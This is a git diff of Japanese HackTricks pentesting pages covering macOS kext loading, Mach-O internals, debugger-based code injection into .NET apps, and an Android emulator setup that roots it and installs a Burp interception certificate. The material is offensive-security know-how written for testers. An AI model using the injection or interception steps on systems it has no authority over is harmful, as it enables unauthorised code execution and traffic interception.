||||
* カーネル拡張はまた、Appleがマルウェアを検出するために**検証**される必要があります。
|
||||
* その後、カーネル拡張をロードできるのは**ルートユーザ**であり、パッケージ内のファイルはルートに所属する必要があります。
|
||||
* ロードプロセス中、パッケージは保護されたルート以外の場所に準備される必要があります:`/Library/StagedExtensions`(`com.apple.rootless.storage.KernelExtensionManagement`権限が必要です)。
|
||||
* 最後に、ロードを試みると、[**ユーザに確認の要求が表示されます**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html)。承認されると、コンピュータを**再起動**してロードします。
|
||||
* カーネル拡張はまた、**ノタリゼーション**を受ける必要があります。Appleは、マルウェアを検出するためにそれを検証できます。
|
||||
* その後、**ルートユーザー**がカーネル拡張をロードでき、パッケージ内のファイルはルートに所属する必要があります。
|
||||
* ロードプロセス中、パッケージは保護されたルートなしの場所に準備される必要があります:`/Library/StagedExtensions`(`com.apple.rootless.storage.KernelExtensionManagement`権限が必要です)
|
||||
* 最後に、ロードを試みると、[**ユーザーに確認の要求が表示されます**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html)。承認されると、コンピュータを**再起動**してロードする必要があります。
|
||||
|
||||
### ロードプロセス
|
||||
|
||||
Catalinaでは、次のようになります:興味深いことに、**検証プロセス**は**ユーザランド**で行われます。ただし、**`com.apple.private.security.kext-management`**権限を持つアプリケーションのみがカーネルに**カーネル拡張のロードを要求**できます:kextcache、kextload、kextutil、kextd、syspolicyd
|
||||
Catalinaでは、次のようになります:興味深いことに、**検証プロセス**は**ユーザーランド**で行われます。ただし、**`com.apple.private.security.kext-management`**権限を持つアプリケーションのみがカーネルに**カーネル拡張のロードを要求**できます:kextcache、kextload、kextutil、kextd、syspolicyd
|
||||
|
||||
1. **`kextutil`** CLIは、カーネル拡張をロードするための検証プロセスを**開始**します。
|
||||
|
||||
* **`kextd`**との間でMachサービスを使用して通信します。
|
||||
* **`kextd`**との間で、Machサービスを使用して通信します。
|
||||
|
||||
2. **`kextd`**は、署名などのさまざまなチェックを行います。
|
||||
|
||||
* **`syspolicyd`**との通信を行い、カーネル拡張をロードできるかどうかを確認します。
|
||||
|
||||
3. **`syspolicyd`**は、カーネル拡張が以前にロードされていないかどうかを**ユーザに尋ねます**。
|
||||
3. **`syspolicyd`**は、カーネル拡張が以前にロードされていないかどうかを**ユーザーに尋ねます**。
|
||||
|
||||
* **`syspolicyd`**は結果を**`kextd`**に伝えます。
|
||||
|
||||
|
@ -59,10 +59,10 @@ kextdが利用できない場合、kextutilも同じチェックを実行でき
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの企業を宣伝したいですか? または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの企業を宣伝したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックしてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションです。
|
||||
* [**PEASSとHackTricksの公式スワッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discordグループ**または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローしてください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discordグループ**または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/h
|
||||
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)** **と** [**hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)** にPRを送ることで、あなたのハッキングのテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -45,7 +45,7 @@ uint32_t align; /* 2の累乗としてのアライメント */
|
|||
};
|
||||
</code></pre>
|
||||
|
||||
ヘッダーには**マジック**バイトが続き、ファイルが含む**アーキテクチャ**の数(`nfat_arch`)と、各アーキテクチャには`fat_arch`構造体があります。
|
||||
ヘッダーには**マジック**バイトが続き、ファイルが含む**アーキテクチャの数**(`nfat_arch`)と、各アーキテクチャには`fat_arch`構造体があります。
|
||||
|
||||
次のコマンドで確認します:
|
||||
|
||||
|
@ -82,7 +82,7 @@ capabilities PTR_AUTH_VERSION USERSPACE 0
|
|||
|
||||
## **Mach-Oヘッダー**
|
||||
|
||||
ヘッダーには、ファイルを識別するためのマジックバイトや、ターゲットアーキテクチャに関する情報など、ファイルに関する基本情報が含まれています。次のコマンドで確認できます:`mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
ヘッダーには、ファイルをMach-Oファイルとして識別するためのマジックバイトや、ターゲットアーキテクチャに関する情報など、ファイルに関する基本情報が含まれています。次のコマンドで確認できます:`mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
```c
|
||||
#define MH_MAGIC 0xfeedface /* the mach magic number */
|
||||
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
|
||||
|
@ -195,7 +195,7 @@ uint32_t reserved3; /* reserved */
|
|||
|
||||
もし、**セクションオフセット**(0x37DC)に**アーキテクチャが始まるオフセット**(この場合は`0x18000`)を**追加**すると、`0x37DC + 0x18000 = 0x1B7DC`となります。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
また、**コマンドライン**からも**ヘッダ情報**を取得することが可能です。
|
||||
```bash
|
||||
|
@ -203,7 +203,7 @@ otool -lv /bin/ls
|
|||
```
|
||||
このコマンドによって読み込まれる一般的なセグメントは次のとおりです:
|
||||
|
||||
* **`__PAGEZERO`**:カーネルに対して、**アドレスゼロをマップ**しないように指示します。このページは**読み取り、書き込み、実行ができない**ようになっています。構造体内のmaxprotとminprot変数はゼロに設定され、このページには**読み書き実行権限がない**ことを示しています。
|
||||
* **`__PAGEZERO`**:カーネルに対して、**アドレスゼロをマップ**しないように指示します。このページは**読み取り、書き込み、実行ができない**ようになっています。構造体内のmaxprotとminprot変数はゼロに設定され、このページには**読み書き実行の権限がない**ことを示しています。
|
||||
* この割り当ては、**NULLポインタの逆参照の脆弱性を軽減**するために重要です。
|
||||
* **`__TEXT`**:**実行可能な**コードと**読み取り専用**のデータが含まれています。このセグメントの一般的なセクション:
|
||||
* `__text`:コンパイルされたバイナリコード
|
||||
|
@ -214,8 +214,8 @@ otool -lv /bin/ls
|
|||
* `__data`:初期化されたグローバル変数
|
||||
* `__bss`:初期化されていない静的変数
|
||||
* `__objc_*`(\_\_objc\_classlist、\_\_objc\_protolistなど):Objective-Cランタイムで使用される情報
|
||||
* **`__LINKEDIT`**:リンカ(dyld)のための情報が含まれています。シンボル、文字列、および再配置テーブルエントリなどです。
|
||||
* **`__OBJC`**:Objective-Cランタイムで使用される情報が含まれています。ただし、この情報は\_\_DATAセグメント内のさまざまな\_\_objc\_\*セクションにも見つかる場合があります。
|
||||
* **`__LINKEDIT`**:リンカ(dyld)のための情報を含みます。「シンボル、文字列、および再配置テーブルエントリ」などです。
|
||||
* **`__OBJC`**:Objective-Cランタイムで使用される情報を含みます。ただし、この情報は\_\_DATAセグメント内のさまざまな\_\_objc\_\*セクションにも見つかる場合があります。
|
||||
|
||||
### **`LC_MAIN`**
|
||||
|
||||
|
@ -283,7 +283,7 @@ Mach-Oバイナリには、**1つ以上のコンストラクタ**が含まれて
|
|||
これには以下が含まれます:
|
||||
|
||||
* **関数テーブル**:プログラムの関数に関する情報を保持します。
|
||||
* **シンボルテーブル**:バイナリが使用する外部関数に関する情報を含みます。
|
||||
* **シンボルテーブル**:バイナリで使用される外部関数に関する情報を含みます。
|
||||
* 内部関数、変数名なども含まれる場合があります。
|
||||
|
||||
[Mach-O View](https://sourceforge.net/projects/machoview/)ツールを使用して確認できます:
|
||||
|
|
|
@ -21,11 +21,11 @@
|
|||
|
||||
したがって、ユーザーの**`$TMPDIR`**に移動すると、.Netアプリケーションをデバッグするために使用できる**デバッグ用のFIFO**を見つけることができます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
関数[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)は、デバッガからの通信を処理します。
|
||||
|
||||
デバッガが最初に行う必要があることは、**新しいデバッグセッションを作成する**ことです。これは、.NETソースから取得できる`MessageHeader`構造体で始まる`out`パイプを介してメッセージを送信することで行われます。
|
||||
デバッガが最初に行う必要があることは、**新しいデバッグセッションを作成する**ことです。これは、.NETのソースから取得できる`MessageHeader`構造体で始まる`out`パイプを介してメッセージを送信することで行われます。
|
||||
```c
|
||||
struct MessageHeader
|
||||
{
|
||||
|
@ -179,7 +179,7 @@ x64バージョンでは、**シグネチャハンティング**テクニック
|
|||
|
||||
このアドレスを知ることで、関数ポインタを自分のシェルコードで上書きすることが可能です。
|
||||
|
||||
PowerShellに注入するために使用される完全なPOCコードは、[こちら](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)で見つけることができます。
|
||||
PowerShellにインジェクトするために使用される完全なPOCコードは、[こちら](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)で見つけることができます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -189,10 +189,10 @@ PowerShellに注入するために使用される完全なPOCコードは、[こ
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
# AVD - Android仮想デバイス
|
||||
|
||||
## AVD - Android仮想デバイス
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
@ -9,7 +7,7 @@
|
|||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
@ -40,7 +38,7 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
|
|||
|
||||
### 仮想マシンの準備
|
||||
|
||||
Android Studioをインストールしている場合は、メインプロジェクトビューを開き、次の場所にアクセスできます:_**ツール**_ --> _**AVDマネージャー**_。
|
||||
Android Studioをインストールしている場合、メインプロジェクトビューを開き、次の場所にアクセスできます:_**ツール**_ --> _**AVDマネージャー**_。
|
||||
|
||||
<div align="center" data-full-width="false">
|
||||
|
||||
|
@ -67,7 +65,7 @@ Playストアがインストールされた携帯電話が必要な場合は、P
|
|||
したがって、それを選択し、ダウンロードされていない場合は名前の横にある_**ダウンロード**_シンボルをクリックします(**イメージのダウンロードが完了するまで待ちます)。**\
|
||||
イメージがダウンロードされたら、**`次へ`** と **`完了`** を選択します。
|
||||
|
||||
仮想マシンが作成されます。これにより、**AVDマネージャーにアクセスするたびに表示されるようになります**。
|
||||
仮想マシンが作成されます。これにより、**AVDマネージャーにアクセスするたびに仮想マシンが表示されます**。
|
||||
|
||||
### 仮想マシンの実行
|
||||
|
||||
|
@ -182,8 +180,14 @@ $ avdmanager create avd --name <avd_name> --package <package_name> --abi <abi_na
|
|||
```
|
||||
|
||||
- `<avd_name>`: 作成するAVDの名前を指定します。
|
||||
- `<package_name>`: インストールするAndroidイメージのパッケージ名を指定します。例えば、`system-images;android-29;google_apis;x86_64`というパッケージを使用する場合は、`google_apis`を指定します。
|
||||
- `<abi_name>`: 使用するABI(Application Binary Interface)を指定します。例えば、`x86_64`を指定します。
|
||||
- `<package_name>`: インストールするAndroidイメージのパッケージ名を指定します。
|
||||
- `<abi_name>`: 使用するABI(Application Binary Interface)を指定します。
|
||||
|
||||
例えば、以下のコマンドを使用して、名前が`my_avd`、パッケージ名が`system-images;android-29;google_apis;x86_64`、ABIが`x86_64`のAVDを作成します。
|
||||
|
||||
```bash
|
||||
$ avdmanager create avd --name my_avd --package "system-images;android-29;google_apis;x86_64" --abi x86_64
|
||||
```
|
||||
|
||||
AVDが作成されたら、以下のコマンドを使用してAVDを起動します。
|
||||
|
||||
|
@ -191,7 +195,15 @@ AVDが作成されたら、以下のコマンドを使用してAVDを起動し
|
|||
$ emulator -avd <avd_name>
|
||||
```
|
||||
|
||||
これにより、指定したAVDが起動し、Androidデバイスとして使用できるようになります。
|
||||
- `<avd_name>`: 起動するAVDの名前を指定します。
|
||||
|
||||
例えば、以下のコマンドを使用して、名前が`my_avd`のAVDを起動します。
|
||||
|
||||
```bash
|
||||
$ emulator -avd my_avd
|
||||
```
|
||||
|
||||
AVDが正常に起動すると、Androidエミュレータが表示されます。これにより、仮想のAndroidデバイス上でアプリケーションのペネトレーションテストを実行できます。
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
||||
```
|
||||
|
@ -228,7 +240,7 @@ Playストアでデバイスをダウンロードした場合、直接ルート
|
|||
$ adb root
|
||||
adbd cannot run as root in production builds
|
||||
```
|
||||
[rootAVD](https://github.com/newbit1/rootAVD)と[Magisk](https://github.com/topjohnwu/Magisk)を使用して、それをルート化することができました(例えば、[**このビデオ**](https://www.youtube.com/watch?v=Wk0ixxmkzAI)を参照してください)。
|
||||
[rootAVD](https://github.com/newbit1/rootAVD)と[Magisk](https://github.com/topjohnwu/Magisk)を使用して、それをルート化することができました(例えば、[**このビデオ**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **または** [**このビデオ**](https://www.youtube.com/watch?v=qQicUW0svB8)を参照してください)。
|
||||
|
||||
## 仮想マシンにBurp証明書をインストールする
|
||||
|
||||
|
@ -236,7 +248,7 @@ adbd cannot run as root in production builds
|
|||
|
||||
![](<../../.gitbook/assets/image (367).png>)
|
||||
|
||||
**証明書をDer形式でエクスポート**し、それを**Androidが理解できる形式に変換**しましょう。注意点として、**AVDのAndroidマシンでburp証明書を設定するには、このマシンを`-writable-system`オプションで実行する必要があります。**例えば、次のように実行できます:
|
||||
**証明書をDer形式でエクスポート**し、それを**Androidが理解できる形式に変換**しましょう。注意してください。**AVDのAndroidマシンでburp証明書を設定するには、このマシンを`-writable-system`オプションで実行する必要があります。**例えば、次のように実行できます:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -244,7 +256,9 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
次に、**Burpの証明書を設定する**ために、以下の手順を実行します:
|
||||
次に、**Burpの証明書を設定する**には、以下の手順を実行します:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
|
||||
CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
|
||||
|
@ -255,11 +269,37 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
|
|||
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
|
||||
adb reboot #Now, reboot the machine
|
||||
```
|
||||
**マシンが再起動を完了すると**、バープ証明書はそれによって使用されます!
|
||||
{% endcode %}
|
||||
|
||||
## スナップショットを取る
|
||||
**マシンが再起動を完了すると**、Burp証明書はそれによって使用されます!
|
||||
|
||||
いつでもVMのスナップショットを取るために、**GUIを使用**することができます:
|
||||
## Magiscを使用してBurp証明書をインストールする
|
||||
|
||||
もし、あなたがMagiscでデバイスをルート化していて(おそらくエミュレータ)、そしてファイルシステムが読み取り専用であり、書き込み可能にリマウントすることができないため、前の手順に従うことができない場合、別の方法があります。
|
||||
|
||||
[**このビデオ**](https://www.youtube.com/watch?v=qQicUW0svB8)で説明されているように、次の手順を実行する必要があります。
|
||||
|
||||
1. **CA証明書をインストールする**:DER形式のBurp証明書を`.crt`に拡張子を変更して、モバイルにドラッグ&ドロップするだけで、ダウンロードフォルダに保存されます。そして、`証明書をインストール` -> `CA証明書`に移動します。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* 証明書が正しく保存されたことを確認するために、`信頼された証明書` -> `ユーザー`に移動します。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **システムで信頼されるようにする**:Magiscモジュール[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(.zipファイル)をダウンロードし、それを電話にドラッグ&ドロップし、電話のMagicsアプリに移動して、`モジュール`セクションに移動し、`ストレージからインストール`をクリックし、`.zip`モジュールを選択し、インストール後に電話を**再起動**します。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* 再起動後、`信頼された証明書` -> `システム`に移動し、Postswigger証明書が存在することを確認します。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
## 便利なAVDオプション
|
||||
|
||||
### スナップショットを撮る
|
||||
|
||||
いつでもVMのスナップショットを**GUIを使用して**撮ることができます:
|
||||
|
||||
![](<../../.gitbook/assets/image (336).png>)
|
||||
|
||||
|
@ -267,10 +307,10 @@ adb reboot #Now, reboot the machine
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するために、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,15 +6,15 @@
|
|||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
もし、**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -129,13 +129,13 @@ return encrypted_ret;
|
|||
```
|
||||
## 重要
|
||||
|
||||
このチュートリアルでは、メソッドの名前と_.implementation_を使用してメソッドをフックしました。しかし、もし同じ名前の**複数のメソッド**がある場合は、フックしたいメソッドを**引数の型を指定して指定する必要があります**。
|
||||
このチュートリアルでは、メソッドの名前と_.implementation_を使用してメソッドをフックしました。しかし、もし同じ名前の**複数のメソッド**がある場合は、フックしたいメソッドを**引数のタイプを指定して明示する必要があります**。
|
||||
|
||||
次のチュートリアルでそれを見ることができます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
もし**ハッキングのキャリア**に興味があり、アンハッカブルをハックしたい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もし**ハッキングのキャリア**に興味があり、ハッキングできないものをハックしたい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -143,10 +143,10 @@ return encrypted_ret;
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
